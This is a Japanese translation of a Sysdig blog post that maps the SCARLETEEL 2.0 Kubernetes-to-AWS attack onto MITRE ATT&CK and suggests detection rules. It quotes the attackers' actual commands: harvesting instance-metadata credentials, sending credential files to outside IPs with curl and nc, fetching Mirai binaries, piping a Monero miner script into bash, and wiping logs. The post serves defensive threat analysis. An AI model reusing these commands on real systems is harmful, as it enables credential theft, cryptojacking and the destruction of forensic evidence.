Scarleteel 2.0とMITRE ATT&CKフレームワーク

By 清水 孝郎 - SEPTEMBER 7, 2023

SHARE:

本文の内容は、2023年9月6日にNIGEL DOUGLAS が投稿したブログ(https://sysdig.com/blog/scarleteel-mitre-attack)を元に日本語に翻訳・再構成した内容となっております。

このブログポストでは、デジタル領域全体に波及した現実世界のサイバー攻撃 – SCARLETEEL – を包括的に掘り下げます。MITRE ATT&CK フレームワークを使用してこの悪名高いインシデントを詳細に分析することで、サイバー攻撃者の作戦戦術に関する貴重な洞察を掘り出すことを目指しています。この調査は、サイバー防衛戦略を強化する上でフレームワークの重要性を強調するだけでなく、私たちのクラウド環境を強化するためのツールを提供します。

SCARLETEELの核心に迫る興味深い旅に出かけ、この衝撃的な侵害の複雑な階層を丹念に解きほぐし、実用的なヒントを得ましょう。サイバーセキュリティ・リスクのパノラマが刻々と変化する中、実際に発生したサイバー攻撃の内部構造を理解し、プロアクティブな考え方を取り入れることは、私たちのデジタル・リソースを保護する上で極めて重要な対策となります。MITRE ATT&CK モデルと Sysdig Secure の CNAPP 機能の枠組みの中で、知識を身につけ、揺るぎない決意を持って潜在的な脅威に立ち向かいましょう。

MITRE ATT&CKフレームワークによるSCARLETEEL 2.0の検証

SCARLETEELのような現実世界のサイバー攻撃を解剖する場合、MITRE ATT&CKフレームワークは包括的な方法論を提示します。ATT&CKフレームワークは、攻撃者の戦術とテクニックを構造的に理解することで、企業が脅威を迅速に特定し、対処できるようにし、セキュリティリソースの配分を最適化します。このアプローチは、先制的な姿勢を育み、組織が攻撃の継続のさまざまな段階にわたって脆弱性を軽減することを可能にします。

Scarleteel 2.0 and the MITRE ATT&CK framework

1.初期アクセス

クラウドへの横移動を伴う多くのクラウドネイティブ侵害と同様に、最初の侵害は、パブリックに公開されていた、コンテナワークロードを侵害し、悪用することによって達成されました。この特定の侵害は、Kubernetes環境で発生しました。SCARLETEEL 2.0のコンテキストでは、攻撃者はK8sクラスター内で運用されていた特定のJupyterLabノートブック・コンテナ内の脆弱性を利用しました。

敵がKubernetesホストに侵入すると、彼らの主な目的はAWS認証情報を取得することであり、その後、被害者のAWSインフラストラクチャーをさらに悪用するために利用します。Kubernetesクラスターにパッチが適用されていなかったり、一般に公開されている脆弱性に対処されていなかったりするリソースを一般に公開しているというシナリオを考えると、このような不審な活動を監視するための最も効果的なアプローチには、Jupyterノートブックを通過する予期しないトラフィックによってトリガーされるリアルタイムのアラートが含まれます。実行可能な場合はいつでも、最小特権の原則でKubernetesネットワークポリシーを実装し、これらのワークロードに不可欠なインバウンド/アウトバウンドトラフィックのみが許可されるようにします。残りのトラフィックは体系的にブロックする必要があります。

- rule: Unexpected inbound connection source
  desc: >-
    Detect any inbound connection from a source outside of an allowed set of
    ips, networks, or domain names
  condition: >
    consider_all_inbound_conns and inbound and
    container.image.repository="sysdig_disabled"
  output: >-
    Disallowed inbound connection source (container.id=%container.id)
  priority: notice
  tags:
  - MITRE_TA0001_initial_access
  source: syscallCode language: JavaScript (javascript)

2.認証情報へのアクセス

必要なアクセス認証情報を取得するために、敵はクラウドドメインでよく知られている “マジック “IPアドレスである 169.254.169.254からAWSの認証情報を取得する必要がありました。SCARLETEEL攻撃者は、AWSがEC2インスタンスに固有のユーザーデータとインスタンスメタデータを取得するために、このアドレスに依存していることをよく知っていました。

AWS_INFO=$(dload hxxp://169.254.169.254/latest/meta-data/iam/info | tr '\0' '\n')
AWS_1_EC2=$(dload hxxp://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance | tr '\0' '\n')
AWS_1_IAM_NAME=$(dload hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/)Code language: JavaScript (javascript)


次に、敵は CRED_FILE_NAMES の要素に一致する名前のファイル(.git-credentials のようなファイル拡張子を持つオブジェクト、あるいは accounts.xml のような絶対ファイル名を持つオブジェクト)を検索します。この配列はシステムのファイルシステム内でチェックされ、ファイル名とその内容を表示します。そして、その出力を $CSOF で指定したファイルに追加します。配列内のすべての要素を処理した後、一時ファイル $EDIS が削除されます。このスクリプトは、資格情報に関連するさまざまなファイルからデータを収集して照合し、その結果を 1 つの出力ファイル ($CSOF) に格納するように設計されているようです。

echo -e '\n-------- CREDS FILES -----------------------------------' >> $CSOF

for CREFILE in ${CRED_FILE_NAMES[@]}; do echo "searching for $CREFILE"
find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> $EDIS 

cat $EDIS 
cat $EDIS >> $CSOF
rm -f $EDIS
doneCode language: PHP (php)


最後に、攻撃者のスクリプトは、$CSOF で指定されたファイルの内容を読み取り、Base64 エンコードされたデータを SEND_B64_DATA 変数に保存する前に、Base64 エンコードに変換します。これにより、攻撃者は元のファイルを削除できるようになります。 最後に、スクリプトは、Base64 でエンコードされたデータをクエリ パラメータとして HTTP を使用してリモート サーバーに送信しますが、サーバーから受信した応答データ (存在する場合) は破棄されます。

cat $CSOF
SEND_B64_DATA=$(cat $CSOF | base64 -w 0)
rm -f $CSOF
dload hxxp://45.9.148.221/in/in.php?base64=$SEND_B64_DATA > /dev/nullCode language: PHP (php)

3.実行

攻撃者がクラウド環境を指すAWS CLIを使用した同じ攻撃において、攻撃者はMiraiボットネットに属するマルウェアであるPandoraもダウンロードして実行しました。Miraiマルウェアファミリーは、一般的に分散型サービス拒否(DDoS)攻撃に使用されます。

chmod +x Pandora.sh awoo hsperfdata_root pandora.arm4 pandora.mips pandora.mpsl pandora.x86
curl -O http://95.214.27.161/Pandoras_Box/pandora.mips
wget http://95.214.27.161/Pandoras_Box/pandora.mips
chmod +x Pandora.sh awoo hsperfdata_root pandora.x64Code language: JavaScript (javascript)


侵害されたKubernetes環境内で、攻撃者はKubernetesをさらに悪用するためのツールであるPeiratesを活用しました。PeiratesはKubernetesの侵入ツールで、攻撃者がKubernetesクラスターを通じて特権昇格し、ピボットを行うことを可能にします。既知のテクニックを自動化し、サービスアカウントのトークンやシークレットを盗んで収集し、さらにコードを実行してクラスタを制御できるようにします。

exe --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt --server=https://100.64.0.1:443 -n jupyter get pods -o json
exe --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt --server=https://100.64.0.1:443 -n jupyter get namespaces
exe --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt --server=https://100.64.0.1:443 -n jupyter get secrets -o jsonCode language: JavaScript (javascript)


提供されたコードスニペットで呼び出されるAPI、すなわち「get secrets」、「get pods」、「get namespaces」APIは、Peirates内の実行プロセスの不可欠なコンポーネントです。上記の進歩は、MITRE ATT&CK フレームワークの「実行」フェーズと一致しています。

4.特権昇格

攻撃者はこのフェーズで、ソフトウェアの CVE、設定ミス、脆弱なパスワード、または前のステージで発見されたその他のセキュリティギャップなどの脆弱性をさらに悪用し、標的のネットワークにさらに侵入して目的を達成するために、さまざまな武器化された技術やツールを活用しようとします。

攻撃者がこれらの脆弱性の悪用に成功すると、管理者権限の獲得や侵害されたシステム内での権限昇格など、より深いレベルのアクセスが可能になります。このアクセス権限の昇格により、攻撃者はネットワーク上を横方向に移り、貴重なデータや機密情報、その他の価値の高い資産を探すことが可能になります。

この悪用は、すべての管理者アカウントに使用される特定の命名規則によって達成されました。”adminJoe”、”adminBob “などの似たような名前でした。そのうちの1つのアカウントは、うっかり命名規則と一致しない名前を付けられており、「Admin」の大文字の「A」を使用していました。この結果、攻撃者は以下のポリシーを回避しました:

{
               "Sid": "VisualEditor2",
               "Effect": "Deny",
               "Action": [
                   "iam:CreateAccessKey"
               ],
               "Resource": [
                  "arn:aws:iam::078657857355:role/*",
                  "arn:aws:iam::078657857355:user/*admin*",
               ]
}Code language: JSON / JSON with Comments (json)


サイバーセキュリティの専門家にとって、クラウド上でどのように攻撃者が特権の拡張を試みているかを理解することは、脆弱性の特定とパッチ適用、エクスプロイトの成功を防ぐためのセキュリティ対策の実装、不正な活動のリアルタイムでの検知に役立つため、極めて重要です。この段階で適切な最小特権 CSPM コントロールが実施されていれば、攻撃者は前述のユーザー・アカウントの悪用を防げたはずです。

5.侵入拡大

SCARLETEELの攻撃者は、AWSの認証情報にアクセスすると、AWS CLIのバイナリをインストールし、Pacuと呼ばれるオープンソースのAWSエクスプロイトフレームワークをエクスプロイトされたコンテナ上にパッケージングしました。そして、取得したキーでこれらのクレデンシャルを構成することができました。攻撃者はPacuを使用して、被害者のAWSアカウントにおける特権昇格の発見と悪用を促進しました。

aws /opt/conda/bin/aws configure
aws /opt/conda/bin/aws s3 ls –-endpoint-url=http://hb.bizmrg.com
aws /opt/conda/bin/aws iam create-user --user-name 99999 –-endpoint-url=http://hb.bizmrg.com
aws /opt/conda/bin/aws s3 ls s3://xxxx --endpoint-url=http://hb.bizmrg.com Code language: JavaScript (javascript)


管理者権限で、攻撃者は侵害したアカウントで c5.metal/r5a.4xlarge のインスタンスを42個作成しました。HOME変数は通常、現在のユーザーのホームディレクトリを表しますが、このスクリプトはそれを昇格した/rootディレクトリに変更します。rootとして実行されると、curlを使用してシェルスクリプトのコンテンツをダウンロードし、インストールします。-Lオプションはあらゆるリダイレクトに追従し、-kオプションは証明書なしのSSLサイトへの接続を許可します(証明書の検証をスキップします)。

export HOME=/root
curl -Lk http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 43Lfq18TycJHVR3AMews5C9f6SEfenZoQMcrsEeFXZTWcFW9jW7VeCySDm1L9n4d2JEoHjcDpWZFq6QzqN4QGHYZVaALj3U
history -cw
clearCode language: PHP (php)


自分たちの行為に過剰な注目を集めることなく、環境への足がかりを維持するために、‘history -cw’コマンドを使用して、現在のセッションのコマンド履歴をクリアし、実行されたコマンドの記録を履歴ファイルから削除しました。‘clear’コマンドは端末画面を消去し、ホストの活動のスナップショットから空の端末インターフェイスを提供するため、フォレンジックが制限される可能性が高くなります。

6.影響

KubernetesクラスターにデプロイされたいくつかのJupyterLabノートブックコンテナを悪用した後、SCARLETEELのオペレーションは金銭的利益のためにDDoS攻撃に限定するつもりはありませんでした。クラウドのリソース使用への影響は、クリプトマイニングによる金銭的な報酬にもつながる可能性がありました。

攻撃者は管理者アクセス権を使用して、以下のスクリプトを実行することで、侵害したアカウントに c5.metal/r5a.4xlarge のインスタンスを42個作成しました:

#!/bin/bash
ulimit -n 65535 ; export LC_ALL=C.UTF-8 ; export LANG=C.UTF-8
export PATH=$PATH:/var/bin:/bin:/sbin:/usr/sbin:/usr/bin
yum install -y bash curl;yum install -y docker;yum install -y openssh-server
apt update --fix-missing;apt install -y curl;apt install -y bash;apt install -y wget
apk update;apk add bash;apk add curl;apk add wget;apk add docker
if ! type docker; then curl -sLk $SRC/cmd/set/docker.sh | bash ; fi
export HOME=/root
curl -Lk http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 43Lfq18TycJHVR3AMews5C9f6SEfenZoQMcrsEeFXZTWcFW9jW7VeCySDm1L9n4d2JEoHjcDpWZFq6QzqN4QGHYZVaALj3U
history -cw
clearCode language: JavaScript (javascript)


さて、注目すべき重要な部分は、bashコマンドの最後にあるコマンドライン引数-s 43Lfq18TycJHVR3AMews5C9f6SEfenZoQMcrsEeFXZTWcFW9jW7VeCySDm1L9n4d2JEoHjcDpWZFq6QzqN4QGHYZVaALj3Uです。この引数は、XMRig マイナーが各マイニングインスタンスまたは “ワーカー” を識別するために使用する “ワーカー” ID です。

この引数を指定することで、スクリプトは各インスタンスに固有のワーカーを設定します。このスクリプトを42回実行すると、それぞれ異なるワーカーIDを持つ42個のXMRigマイナーのインスタンスが作成されます。これは、攻撃者が攻撃チェーンにおけるクラウドの役割を認識し、それにアクセスし、その環境を悪用しようとすることを示しています。攻撃がどのように配信されたかが分かったので、エクスプロイトのワークフローを調査してみましょう。

7.コマンド&コントロール

コマンド&コントロールフェーズでは、被害者の環境に不正アクセスした後、攻撃者はバックドアをセットアップするか、既存の通信チャネルを使用して、侵害したシステムと攻撃者の管理下にある外部のコマンドサーバーとの間にリンクを作成します。これにより、攻撃者は侵害されたシステムをリモートで管理し、データ漏洩、追加のマルウェアのダウンロード、被害者のネットワークの持続的な制御を行うことが可能になります。

攻撃者は、AWSクライアントを使用して、S3プロトコルと互換性のあるロシアのシステムに接続していることが確認されています。以下のコマンドは、攻撃者が “configure “コマンドでロシアのS3環境のキーを設定し、そのバケットにアクセスしようとしたことを示しています。

-endpoint-url “オプションを使用することで、彼らはAPIリクエストをデフォルトのAWSサービスのエンドポイントに送信せず、ロシアのS3互換オブジェクトストレージであるmcs[.]mail[.]ru/storageにリダイレクトするhb[.]bizmrg[.]comに送信しました。この手法により、攻撃者はAWSクライアントを使用してツールをダウンロードし、データ漏洩を行うことができます。

SCARLETEEL攻撃者は、異なる流出エンドポイントを利用しました。例えば、以下の関数は2つの特定のIPアドレスに認証情報を送信しますが、temp.shにもアップロードします:

SEND_B64_DATA=$(cat $CSOF | base64 -w 0)
curl -sLk -o /dev/null http://175.102.182.6/.bin/in.php?base64=$SEND_B64_DATA

SEND_AWS_DATA_NC=$(cat $CSOF | nc 5.39.93.71 9999)
SEND_AWS_DATA_CURL=$(curl --upload-file $CSOF https://temp.sh)Code language: JavaScript (javascript)


これらのIPアドレスを見ると、’175’のIPアドレスは攻撃者のものであり、ポート’9999’で終わるIPアドレスは’Termbin’のIPアドレスであることがわかります。このサイトは主に攻撃中のデータ漏洩に使用されました。

そのIPから送信されるレスポンスは、STDOUT以外のどこにも送信されないため(https://temp[.]sh/からのレスポンスなど)、これらの攻撃は完全に自動化されていないか、スクリプトの出力に基づいてアクションを実行していたことを示唆しています。攻撃者は端末で固有のURLを読み取り、それにアクセスして認証情報を取得しました。

8.持ち出し

データ漏洩は、攻撃者がネットワークからデータを盗むために使用する技術で構成されます。

SCARLETEELの場合、行為者はさまざまな流出エンドポイントを使用しました。そのスクリプトに埋め込まれたC2ドメイン、, 45[.]9[.]148[.]221がSCARLETEELに属していることは注目に値します。流出させる機能を見ると、Base64エンコードされた盗まれた認証情報をC2 IPアドレスに送信していることがわかります。

send_aws_data(){
cat $CSOF
SEND_B64_DATA=$(cat $CSOF | base64 -w 0)
rm -f $CSOF
dload http://45.9.148.221/in/in.php?base64=$SEND_B64_DATA > /dev/null
}Code language: PHP (php)

9.防御回避

上記のスクリプトは、データ漏洩を実現するためにシェルビルドインを使用しており、「curl」を使用するよりもこのアプローチを選択していることを特筆すべき点です。この戦略は、データ流出のステルス性を高め、従来のセキュリティ検出方法を効果的に回避します。標準的なセキュリティプロトコルでは、「curl」や「wget」などのツールは、有害なスクリプトやプログラムのダウンロードに関連する潜在的に疑わしいネットワークユーティリティとして、しばしばフラグが立てられます。

rm -f $LOCK_FILE 2>/dev/null 1>/dev/null
rm -f /var/log/syslog.* 2>/dev/null 1>/dev/null
rm -f /var/log/auth.log.* 2>/dev/null 1>/dev/null
rm -f ~/.bash_history 2>/dev/null 1>/dev/nullCode language: JavaScript (javascript)


提供されたコード・スニペットは、リアルタイムの検知機能が不可欠であることを強調しています。攻撃者は、攻撃後のインシデントレスポンスやフォレンジックに役立つ可能性のあるロギングソースに対して、「rm」(remove)コマンドを実行するという持続的な戦略を採用しています。syslog コンテンツを削除することで、適切なセキュリティイベントが専用の SIEM ソリューションに到達しないようにします。

同様に、セキュリティイベントの定期的な収集に依存しているセキュリティツールは、ログが削除されると、コンテキスト情報を失います。システムコールに基づくSysdig Secureのアプローチが価値を持つのは、まさにこの点です。Sysdig Secureは、ログ削除などの防御回避テクニックを、リアルタイムで迅速に特定することができます。

- rule: Delete or rename shell history
  desc: Detect shell history deletion
  condition: >
    (modify_shell_history or truncate_shell_history) and
       not var_lib_docker_filepath and
       not proc.name in (docker_binaries)
  output: >
    Shell history had been deleted or renamed (user=%user.name user_loginuid=%user.loginuid type=%evt.type command=%proc.cmdline pid=%proc.pid fd.name=%fd.name name=%evt.arg.name path=%evt.arg.path oldpath=%evt.arg.oldpath %container.info)
  priority:
    WARNING
  tags: [host, container, process, filesystem, mitre_defense_evasion, T1070]


最後に、Monero cryptominerは、防御回避手法としてcontainerDとsystemDサービスの名前を使用してバックグラウンドで実行されました。このように、攻撃者は検知される可能性を減らすことで、攻撃能力を拡大することができます。

まとめ

要約すると、MITRE ATT&CK フレームワークは、セキュリティ専門家にとって極めて重要なツールであり、攻撃者のインシデント発生後の動きを集中的に調査することができます。脅威ハンティングと情報収集におけるその価値は否定できません。MITRE ATT&CKフレームワークをセキュリティアプローチにシームレスにインテグレーションすることで、インシデント対応チームは、すべての戦術、技術、手順を網羅する強固な防御戦略を構築することができ、攻撃ライフサイクルの各フェーズにおける攻撃者の作戦を包括的に理解することができます。この戦略的な連携は、SCARLETEEL事件に代表されるように、非常に巧妙な敵対者に対抗する際に特に効果的です。

SCARLETEELのような大規模な脅威を軽減するには、多面的な防御アプローチが必要です。ランタイムの脅威検知とレスポンスはアクティブな攻撃を特定するために不可欠ですが、脆弱性管理、姿勢管理、エンタイトルメント管理のようなツールを組み込むことで、そのような攻撃を先制的に阻止することができます。これらのレイヤーのいずれかを取り入れないと、組織はかなりの経済的危険にさらされます。

さらに、攻撃者の行動を理解することは、防御戦略を向上させ、セキュリティ・プロトコルを強化する貴重な洞察をもたらし、それによって将来の類似攻撃に対するシールドを強化します。このことは、組織が初期防御だけでなく、持続的な監視と迅速な対応を優先し、持続的で巧妙な脅威に対する強固な防御を形成することが不可欠であることを強調しています。